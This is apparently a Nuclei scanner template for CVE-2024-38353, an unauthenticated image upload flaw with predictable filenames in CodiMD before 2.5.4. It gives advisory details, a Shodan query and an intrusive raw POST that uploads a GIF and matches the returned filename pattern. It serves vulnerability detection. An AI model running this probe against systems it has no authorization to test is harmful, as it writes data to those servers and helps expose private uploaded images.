CodiMD <2.5.4 - Insecure Filename Randomization

id: CVE-2024-38353

info:
  name: CodiMD <2.5.4 - Insecure Filename Randomization
  author: denandz,PulseSecurity.co.nz
  severity: medium
  description: |
    CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data. Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
  impact: |
    An attacker can gain unauthorised access to images uploaded to CodiMD.
  remediation: |
    Update CodiMD to version 2.5.4 or later
  reference:
    - https://github.com/hackmdio/codimd/security/advisories/GHSA-2764-jppc-p2hm
    - https://pulsesecurity.co.nz/advisories/codimd-missing-image-access-controls
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-38353
    cwe-id: CWE-338
    epss-score: 0.01158
    epss-percentile: 0.63255
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"CodiMD"
  tags: cve,cve2024,file-upload,intrusive,codimd,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /uploadimage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161

        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="image"; filename="{{filename}}.gif"
        Content-Type: image/gif

        {{base64_decode("R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==")}}
        -----------------------------92633278134516118923780781161--

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"link":"/uploads/[a-z0-9]{25,25}.gif"'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"link":"(/uploads/[a-z0-9]{25,25}.gif)"'
# digest: 4a0a00473045022027f2bb278bea7f62f5c7f2ffdfcd638abd25cc536adb4c87ea5ebffda3289a1f0221008f7da1701c57b866dab23ffb3a550d29df559cda5e149cd656bfa0f895b5e770:922c64590222798bb761d5b6d8e72950